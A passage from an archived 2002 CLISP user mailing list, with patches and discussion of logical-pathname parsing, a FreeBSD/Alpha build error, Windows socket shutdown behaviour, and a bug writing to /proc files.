on my solaris box, particularly when the *PARSE-NAMESTRING-ANSI* feature was enabled (hey, we have lots of old code that hits the spec, and don't use PCs with "C:" filenames). I am attaching a patch against v2.28 that does the following: (a) allows chars beyond A-Za-z0-9- in logical pathnames (for example: "_") (b) doesn't upcase components of logical pathnames (c) doesn't downcase pathnames in the name of a "preference for lowercase" Don't know if these changes are something you'd want to put into the main distribution, but there they are anyway. The patch also fixes one unbound variable problem in the compiler that arose when I had :verbose NIL (or something like that--you'll see from the patch). Hope this might be useful to you in the future. Speaking of which, I really need multithreading, with exactly the special variable treatment spelled out in multithread.txt. I'd be willing to help. If the maintainers want to contact me, send email to this account and I will send you my real address (sorry spammers, not for you). Thanks again, George -- ferguson731@yahoo.com __________________________________________________ Do You Yahoo!? Yahoo! Health - your guide to health and wellness http://health.yahoo.com --0-1951484963-1020787023=:47585 Content-Type: text/plain; name="gf.patch.txt" Content-Description: gf.patch.txt Content-Disposition: inline; filename="gf.patch.txt" *** src/pathname.d.dist Thu Feb 28 14:49:30 2002 --- src/pathname.d Mon May 6 14:39:30 2002 *************** *** 1127,1135 **** local bool legal_logical_word_char (chart ch) { ch = up_case(ch); var cint c = as_cint(ch); if (((c >= 'A') && (c <= 'Z')) || ((c >= '0') && (c <= '9')) ! || (c == '-')) return true; else return false; --- 1127,1136 ---- local bool legal_logical_word_char (chart ch) { ch = up_case(ch); var cint c = as_cint(ch); + # gf: Accept many more chars as valid in logical pathnames (eg '_') if (((c >= 'A') && (c <= 'Z')) || ((c >= '0') && (c <= '9')) ! || (c == '-') || (c == '_') || (c == '+') || (c == '=')) return true; else return false; *************** *** 1577,1583 **** { var const chart* ptr1 = &TheSstring(STACK_2)->data[startz.index]; var chart* ptr2 = &TheSstring(result)->data[0]; ! dotimespL(len,len, { *ptr2++ = up_case(*ptr1++); }); } return result; } --- 1578,1586 ---- { var const chart* ptr1 = &TheSstring(STACK_2)->data[startz.index]; var chart* ptr2 = &TheSstring(result)->data[0]; ! # gf: Don't upcase pathname elements ! # dotimespL(len,len, { *ptr2++ = up_case(*ptr1++); }); ! dotimespL(len,len, { *ptr2++ = *ptr1++; }); } return result; } *************** *** 5443,5449 **** local object customary_case (object string) { if (!simple_string_p(string)) return string; ! #if defined(PATHNAME_UNIX) || defined(PATHNAME_OS2) || defined(PATHNAME_WIN32) || defined(PATHNAME_RISCOS) # operating system with preference for small letters return string_downcase(string); #endif --- 5446,5453 ---- local object customary_case (object string) { if (!simple_string_p(string)) return string; ! # gf: Don't downcase unix pathnames! ! #if defined(PATHNAME_OS2) || defined(PATHNAME_WIN32) || defined(PATHNAME_RISCOS) # operating system with preference for small letters return string_downcase(string); #endif *** src/compiler.lisp.dist Fri Mar 1 00:01:49 2002 --- src/compiler.lisp Fri May 3 16:17:01 2002 *************** *** 244,250 **** (defvar *compile-file-truename* nil) ; CLtL2 p. 680 (defvar *compile-file-lineno1* nil) (defvar *compile-file-lineno2* nil) ! (defvar *c-listing-output*) ; Compiler-Listing-Stream or nil (defvar *c-error-output*) ; Compiler-Error-Stream ;; essentially ;; *c-error-output* = (make-broadcast-stream *error-output* *c-listing-output*) --- 244,250 ---- (defvar *compile-file-truename* nil) ; CLtL2 p. 680 (defvar *compile-file-lineno1* nil) (defvar *compile-file-lineno2* nil) ! (defvar *c-listing-output* nil) ; Compiler-Listing-Stream or nil (defvar *c-error-output*) ; Compiler-Error-Stream ;; essentially ;; *c-error-output* = (make-broadcast-stream *error-output* *c-listing-output*) --0-1951484963-1020787023=:47585-- From viollo_s@epita.fr Tue May 07 11:54:32 2002 Received: from hermes.epita.fr ([163.5.255.10]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 175A6Y-0000dq-00 for ; Tue, 07 May 2002 11:54:31 -0700 Received: from ilidarians (ilidarians [10.42.24.69]) by hermes.epita.fr id g47IsS204837 for clisp-list@lists.sourceforge.net EPITA Paris France Tue, 7 May 2002 20:54:28 +0200 (MEST) From: sylvain viollon Message-Id: <200205071854.g47IsS204837@hermes.epita.fr> To: clisp-list@lists.sourceforge.net Organization: Epita (French Computer Science school) Operating-System: definitely UNIX Postal-Address: 14 rue voltaire, 94270 kremlin bicêtre Function: Computer Science Student X-Mailer: ELM [version 2.4ME+ PL78 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: [clisp-list] Call Lisp from C Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue May 7 11:55:04 2002 X-Original-Date: Tue, 7 May 2002 20:54:28 +0200 (MEST) ----- Forwarded message from Bruno Haible ----- Please direct mails about GNU CLISP to . Sam Steingold and others are now doing clisp development. Viollon Sylvain writes: > Hello, > > I can't see how doing to call lisp function in a c program, when the > main is in C. > It's in order to use CLisp in a french national computers concours, > Prologin. (www.prologin.org). > Can you help me. > (excuse me for my bad english) ----- End of forwarded message from Bruno Haible ----- From csr21@cam.ac.uk Wed May 08 06:51:23 2002 Received: from purple.csi.cam.ac.uk ([131.111.8.4]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 175Rqj-0001J5-00 for ; Wed, 08 May 2002 06:51:22 -0700 Received: from zone-7.jesus.cam.ac.uk ([131.111.243.37] helo=lambda.jcn.srcf.net) by purple.csi.cam.ac.uk with esmtp (Exim 4.04) id 175Rqe-0006Nz-00; Wed, 08 May 2002 14:51:16 +0100 Received: from csr21 by lambda.jcn.srcf.net with local (Exim 3.35 #1 (Debian)) id 175RqR-0004cu-00; Wed, 08 May 2002 14:51:03 +0100 To: Sam Steingold Cc: CLISP Subject: Re: [clisp-list] What causes hard exits from clisp? Message-ID: <20020508135103.GA17771@cam.ac.uk> References: <20020423142328.GA5538@cam.ac.uk> <20020423155251.GA5957@cam.ac.uk> <20020423182507.GA6665@cam.ac.uk> <20020424081326.GA11985@cam.ac.uk> <20020501172757.GA13192@cam.ac.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.28i From: Christophe Rhodes Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed May 8 06:52:03 2002 X-Original-Date: Wed, 8 May 2002 14:51:03 +0100 On Wed, May 08, 2002 at 09:45:27AM -0400, Sam Steingold wrote: > Bruno just fixed the bug what was the immediate cause of your crash. > Please do "cvs up; ./configure --with-debug --build build-dir" > and try again. Thank you very much -- I shall give this a try (though probably not until the weekend) and let you know what happens next... Cheers, Christophe -- Jesus College, Cambridge, CB5 8BL +44 1223 510 299 http://www-jcsu.jesus.cam.ac.uk/~csr21/ (defun pling-dollar (str schar arg) (first (last +))) (make-dispatch-macro-character #\! t) (set-dispatch-macro-character #\! #\$ #'pling-dollar) From samuel.steingold@verizon.net Wed May 08 08:32:15 2002 Received: from h032.c001.snv.cp.net ([209.228.32.142] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 175TQN-0001OY-00 for ; Wed, 08 May 2002 08:32:15 -0700 Received: (cpmta 15897 invoked from network); 8 May 2002 06:45:28 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.142) with SMTP; 8 May 2002 06:45:28 -0700 X-Sent: 8 May 2002 13:45:28 GMT To: Christophe Rhodes Cc: CLISP Subject: Re: [clisp-list] What causes hard exits from clisp? References: <20020423081019.GA2920@cam.ac.uk> <20020423142328.GA5538@cam.ac.uk> <20020423155251.GA5957@cam.ac.uk> <20020423182507.GA6665@cam.ac.uk> <20020424081326.GA11985@cam.ac.uk> <20020501172757.GA13192@cam.ac.uk> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020501172757.GA13192@cam.ac.uk> Message-ID: Lines: 11 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed May 8 09:10:53 2002 X-Original-Date: 08 May 2002 09:45:27 -0400 Bruno just fixed the bug what was the immediate cause of your crash. Please do "cvs up; ./configure --with-debug --build build-dir" and try again. thanks. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Warning! Dates in calendar are closer than they appear! From samuel.steingold@verizon.net Wed May 08 10:19:35 2002 Received: from h032.c001.snv.cp.net ([209.228.32.142] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 175V6C-0003Lz-00 for ; Wed, 08 May 2002 10:19:32 -0700 Received: (cpmta 14907 invoked from network); 7 May 2002 09:19:25 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.142) with SMTP; 7 May 2002 09:19:25 -0700 X-Sent: 7 May 2002 16:19:25 GMT To: George Ferguson Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp logical pathnames on unix References: <20020507155703.48105.qmail@web12601.mail.yahoo.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020507155703.48105.qmail@web12601.mail.yahoo.com> Message-ID: Lines: 58 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed May 8 10:20:03 2002 X-Original-Date: 07 May 2002 12:19:21 -0400 Hi George, > * In message <20020507155703.48105.qmail@web12601.mail.yahoo.com> > * On the subject of "[clisp-list] clisp logical pathnames on unix" > * Sent on Tue, 7 May 2002 08:57:03 -0700 (PDT) > * Honorable George Ferguson writes: > > Hi clisp people. Great package. Very nice work. thanks. > I am attaching a patch against v2.28 that does the following: > (a) allows chars beyond A-Za-z0-9- in logical > pathnames (for example: "_") 19.3.1 Syntax of Logical Pathname Namestrings ... word---one or more uppercase letters, digits, and hyphens ... > (b) doesn't upcase components of logical pathnames : 19.3.1.1.7 Lowercase Letters in a Logical Pathname Namestring When parsing words and wildcard-words, lowercase letters are translated to uppercase. > (c) doesn't downcase pathnames in the name of a > "preference for lowercase" logical pathnames are "the lowest common denominator" across all platforms on which CL and its predecessors have ever run. thus all the conversions and limitations. > The patch also fixes one unbound variable problem in > the compiler that arose when I had :verbose NIL (or > something like that--you'll see from the patch). could you please supply an exact test case? > Speaking of which, I really need multithreading, with exactly the > special variable treatment spelled out in multithread.txt. I'd be > willing to help. If you can and want to work on this, please go ahead. subscribe to and ask questions, brag, and send patches there. > If the maintainers want to contact me, send email to this account and > I will send you my real address (sorry spammers, not for you). all these thicks inconvenience your interlocutors more than spammers. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Don't take life too seriously, you'll never get out of it alive! From jmkatcher@yahoo.com Thu May 09 11:52:59 2002 Received: from web14502.mail.yahoo.com ([216.136.224.65]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 175t2B-0001wj-00 for ; Thu, 09 May 2002 11:52:59 -0700 Message-ID: <20020509185257.42532.qmail@web14502.mail.yahoo.com> Received: from [198.95.226.227] by web14502.mail.yahoo.com via HTTP; Thu, 09 May 2002 11:52:57 PDT From: Jeffrey Katcher To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] Failure to build Clisp 2.28 on FreeBSD/Alpha Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu May 9 11:53:04 2002 X-Original-Date: Thu, 9 May 2002 11:52:57 -0700 (PDT) I'm a big fan of Clisp, but can't get it to build on my Compaq XP1000 running FreeBSD 4.6. I've tried both the default cc (gcc 2.95.x) and Compaq C with no success. With both compiles, the configure works clean, but the make stops in: gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O -DUNICODE -DDYNAMIC_FFI -c spvw.c In file included from spvw.d:22: lispbibl.d:2607: #error "oint_addr_mask doesn't cover CODE_ADDRESS_RANGE !!" lispbibl.d:2610: #error "oint_addr_mask doesn't cover MALLOC_ADDRESS_RANGE !!" *** Error code 1 Using ccc, it stops in the same file with a long list of error messages concerning typedefs. Best regards, Jeff Katcher __________________________________________________ Do You Yahoo!? Yahoo! Shopping - Mother's Day is May 12th! http://shopping.yahoo.com From samuel.steingold@verizon.net Thu May 09 12:12:09 2002 Received: from h000.c001.snv.cp.net ([209.228.32.114] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 175tKg-0003qr-00 for ; Thu, 09 May 2002 12:12:06 -0700 Received: (cpmta 27832 invoked from network); 9 May 2002 12:11:56 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.114) with SMTP; 9 May 2002 12:11:56 -0700 X-Sent: 9 May 2002 19:11:56 GMT To: Jeffrey Katcher Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Failure to build Clisp 2.28 on FreeBSD/Alpha References: <20020509185257.42532.qmail@web14502.mail.yahoo.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020509185257.42532.qmail@web14502.mail.yahoo.com> Message-ID: Lines: 30 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu May 9 12:13:02 2002 X-Original-Date: 09 May 2002 15:11:55 -0400 > * In message <20020509185257.42532.qmail@web14502.mail.yahoo.com> > * On the subject of "[clisp-list] Failure to build Clisp 2.28 on FreeBSD/Alpha" > * Sent on Thu, 9 May 2002 11:52:57 -0700 (PDT) > * Honorable Jeffrey Katcher writes: > > I've tried both the default cc (gcc 2.95.x) and Compaq > C with no success. With both compiles, the configure > works clean, but the make stops in: > > gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit > -Wreturn-type -fomit-frame-pointer -Wno-sign-compare > -O -DUNICODE -DDYNAMIC_FFI -c spvw.c > In file included from spvw.d:22: > lispbibl.d:2607: #error "oint_addr_mask doesn't cover > CODE_ADDRESS_RANGE !!" > lispbibl.d:2610: #error "oint_addr_mask doesn't cover > MALLOC_ADDRESS_RANGE !!" > *** Error code 1 look around src/lispbibl.d:633 and figure out why WIDE_HARD is not getting defined. use "gcc -E -dM src/lispbibl.d" to get at CODE_ADDRESS_RANGE, addr_shift, oint_addr_mask, oint_addr_shift, MALLOC_ADDRESS_RANGE. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux A poet who reads his verse in public may have other nasty habits. From frias@cs.nyu.edu Fri May 10 15:40:52 2002 Received: from rlab.cs.nyu.edu ([204.168.183.80] helo=ext.pdsg.cs.nyu.edu) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 176J4F-00043n-00 for ; Fri, 10 May 2002 15:40:51 -0700 Received: from frias (pdsg-231.pdsg.cs.nyu.edu [204.168.183.231]) by ext.pdsg.cs.nyu.edu (8.11.6/8.11.2) with SMTP id g4AMeoF00968 for ; Fri, 10 May 2002 18:40:50 -0400 Message-ID: <000e01c1f873$f1e48f60$e7b7a8cc@cs.nyu.edu> From: "Enrique Frias" To: MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_000B_01C1F852.6A6E3A20" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Subject: [clisp-list] Does anyone know how can I measure the size in bytes of and object in CLISP?? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri May 10 15:41:02 2002 X-Original-Date: Fri, 10 May 2002 18:42:19 -0400 This is a multi-part message in MIME format. ------=_NextPart_000_000B_01C1F852.6A6E3A20 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi, Does anyone knows how can I meassure the size of an object in CLISP (2001)?? For example: (setf a '(a b c)) (function-size a) =3D> 3 bytes Thank You, Enrique ------=_NextPart_000_000B_01C1F852.6A6E3A20 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hi,
 
Does anyone knows how can I meassure = the size of an=20 object
in CLISP (2001)?? For = example:
 
(setf a '(a b c))
 
(function-size a) =3D> 3 = bytes
 
Thank You,
 
Enrique
 
 
------=_NextPart_000_000B_01C1F852.6A6E3A20-- From samuel.steingold@verizon.net Sat May 11 06:45:47 2002 Received: from out018pub.verizon.net ([206.46.170.96] helo=out018.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 176XBy-0003SI-00 for ; Sat, 11 May 2002 06:45:46 -0700 Received: from loiso.podval.org ([151.203.48.59]) by out018.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020511134540.BTMA7921.out018.verizon.net@loiso.podval.org>; Sat, 11 May 2002 08:45:40 -0500 To: "Enrique Frias" Cc: Subject: Re: [clisp-list] Does anyone know how can I measure the size in bytes of and object in CLISP?? References: <000e01c1f873$f1e48f60$e7b7a8cc@cs.nyu.edu> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <000e01c1f873$f1e48f60$e7b7a8cc@cs.nyu.edu> Message-ID: Lines: 17 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat May 11 06:46:03 2002 X-Original-Date: 11 May 2002 09:46:30 -0400 > * In message <000e01c1f873$f1e48f60$e7b7a8cc@cs.nyu.edu> > * On the subject of "[clisp-list] Does anyone know how can I measure the size in bytes of and object in CLISP??" > * Sent on Fri, 10 May 2002 18:42:19 -0400 > * Honorable "Enrique Frias" writes: > > Does anyone knows how can I meassure the size of an object in CLISP what do you need this for? you might find relevant. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Just because you're paranoid doesn't mean they AREN'T after you. From dan.stanger@ieee.org Tue May 14 10:00:21 2002 Received: from mantis.privatei.com ([208.203.136.20]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 177fev-0003GZ-00 for ; Tue, 14 May 2002 10:00:21 -0700 Received: (from dxs@localhost) by mantis.privatei.com (8.11.6/8.11.6) id g4EH0IZ06933 for clisp-list@lists.sourceforge.net; Tue, 14 May 2002 11:00:18 -0600 (MDT) From: dan.stanger@ieee.org Message-Id: <200205141700.g4EH0IZ06933@mantis.privatei.com> X-Authentication-Warning: mantis.privatei.com: dxs set sender to dan.stanger@ieee.org using -r To: clisp-list@lists.sourceforge.net Subject: [clisp-list] new version of gdi module Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue May 14 10:01:03 2002 X-Original-Date: Tue, 14 May 2002 11:00:18 -0600 (MDT) I put my current work of the gdi module on my web site www.diac.com/~dxs/gdi.tar.gz Changes include error checking. Functions known to be not working are ones which use rest parameters. Dan Stanger From Joerg-Cyril.Hoehle@t-systems.com Wed May 15 08:05:50 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1780LX-0003V7-00 for ; Wed, 15 May 2002 08:05:44 -0700 Received: from g8pbq.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@sourceforge.net; Wed, 15 May 2002 17:04:27 +0200 Received: by G8PBQ.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 15 May 2002 17:05:32 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@sourceforge.net Subject: Re: [clisp-list] socket-shutdown and broken http inspect server o n win32 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed May 15 08:06:03 2002 X-Original-Date: Wed, 15 May 2002 17:05:32 +0200 Hi, MS-windoes woes below... Does anybody know how to tell MS-Windows sockets to gracefully send all the TCP data in the pipe down the road without causing an abort on the other side? Sam Steingold wrote: > Gesendet: Dienstag, 16. April 2002 15:58 > missed this. please try the patch: > +++ stream.d Tue Apr 16 09:56:35 2002 > @@ -14119,6 +14115,9 @@ > #if defined(UNIX_BEOS) || defined(WIN32_NATIVE) > local void low_close_socket (object stream, object handle) { > begin_system_call(); > + #ifdef WIN32_NATIVE > + if (shutdown(TheSocket(handle),SHUT_RDWR)) { SOCK_error(); } > + #endif > if (!( closesocket(TheSocket(handle)) ==0)) { SOCK_error(); } > end_system_call(); > } I finally went to the Microloft Developer Network and found: Graceful Shutdown, Linger Options, and Socket Closure http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winsock/ovrvw3_3she.asp From there, one can navigate to shutdown, closesocket, setsockopt, getsockopt and linger. It appears from my tiny experiments that: shutdown(SD_BOTH) is no help shutdown(SD_SEND) slightly helps: i.e. a local web browser doesn't get an error anymore, but a remote connection only gets part of the output :-( :-( I.e. part of the HTML trailer and document data is missing, but no error is signaled(!?). Depending on sys::*inspect-debug* level, the remote side may even see 0 bytes (lower level => less bytes). The higher the machine load (second clisp executing (LOOP)), the more complete the response. The result of a remote's Python's urllib.urlopen("http://mymachine.telekom.de:2129/0/:s").read() can vary between ''(empty) to the full HTML output. Curiously, Mosaic-2.7b5 output is always truncated towards the end. To me it seems that doing recv() until EOF before closing is not acceptable (what MS recommends from what I understand). If I say to close, close. Don't read infinite incoming data from port chargen=19 ! Regards, Jorg Hohle. From samuel.steingold@verizon.net Wed May 15 08:35:52 2002 Received: from h001.c001.snv.cp.net ([209.228.32.115] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1780og-0006Lo-00 for ; Wed, 15 May 2002 08:35:50 -0700 Received: (cpmta 24078 invoked from network); 15 May 2002 08:35:44 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.115) with SMTP; 15 May 2002 08:35:44 -0700 X-Sent: 15 May 2002 15:35:44 GMT To: "Hoehle, Joerg-Cyril" Cc: clisp-list@sourceforge.net Subject: Re: [clisp-list] socket-shutdown and broken http inspect server o n win32 References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 43 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed May 15 08:36:04 2002 X-Original-Date: 15 May 2002 11:35:42 -0400 > * In message > * On the subject of "Re: [clisp-list] socket-shutdown and broken http inspect server o n win32" > * Sent on Wed, 15 May 2002 17:05:32 +0200 > * Honorable "Hoehle, Joerg-Cyril" writes: > > Sam Steingold wrote: > > missed this. please try the patch: > > > +++ stream.d Tue Apr 16 09:56:35 2002 > > @@ -14119,6 +14115,9 @@ > > #if defined(UNIX_BEOS) || defined(WIN32_NATIVE) > > local void low_close_socket (object stream, object handle) { > > begin_system_call(); > > + #ifdef WIN32_NATIVE > > + if (shutdown(TheSocket(handle),SHUT_RDWR)) { SOCK_error(); } > > + #endif > > if (!( closesocket(TheSocket(handle)) ==0)) { SOCK_error(); } > > end_system_call(); > > } > > I finally went to the Microloft Developer Network and found: > Graceful Shutdown, Linger Options, and Socket Closure > http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winsock/ovrvw3_3she.asp > >From there, one can navigate to shutdown, closesocket, setsockopt, getsockopt and linger. > > It appears from my tiny experiments that: > shutdown(SD_BOTH) is no help > shutdown(SD_SEND) slightly helps: i.e. a local web browser doesn't get > an error anymore, but a remote connection only gets part of the output > :-( :-( this is weird since the spec appears to say that SD_BOTH ==> SD_SEND (as is the case on UNIX) another thing is that the page you mention suggest Ws2_32.lib while we are using wsock32.lib. could you please check whether this matters? -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Someone has changed your life. Save? (y/n) From peter.wood@worldonline.dk Wed May 15 10:17:35 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1782P8-0007bq-00 for ; Wed, 15 May 2002 10:17:34 -0700 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id A6882B6A3 for ; Wed, 15 May 2002 19:17:30 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g4FHIfg00250; Wed, 15 May 2002 19:18:41 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] with-open-file bug on linux Message-ID: <20020515191841.A233@localhost.localdomain> References: <20020317051030.A293@localhost.localdomain> <20020318231639.A1783@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20020318231639.A1783@localhost.localdomain>; from peter.wood@worldonline.dk on Mon, Mar 18, 2002 at 11:16:39PM +0100 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed May 15 10:18:02 2002 X-Original-Date: Wed, 15 May 2002 19:18:41 +0200 Hi On Mon, Mar 18, 2002 at 11:16:39PM +0100, I wrote: > Hi > > I didn't know Clisp took a :buffered nil keyword for open. It seems > this is the way to write to peculiar files like some of the ones under > /proc. It fixes the problem I described in the last post. > > Regards, > Peter > But now it's broken again, on: Linux localhost.localdomain 2.4.18 #1 Sun May 5 00:18:26 CEST 2002 i686 unknown with: GNU CLISP 2.28 (released 2002-03-03) (built 3224594596) (memory 3224596933) Features: (clos loop compiler clisp ansi-cl common-lisp lisp=cl interpreter sockets generic-streams logical-pathnames screen ffi gettext unicode base-char=character pc386 unix) Using Clisp's 'open' or 'with-open-file' to write to /proc/sys/fs/binfmt_misc/register results in unix error 22 EINVAL while using linux:fopen works fine, as do Bash, Python, Perl and CMUCL. The fact that everything else works ok, while Clisp doesn't suggests once again that there is something wrong with the way Clisp's #'open works. Regards, Peter BTW binfmt_misc 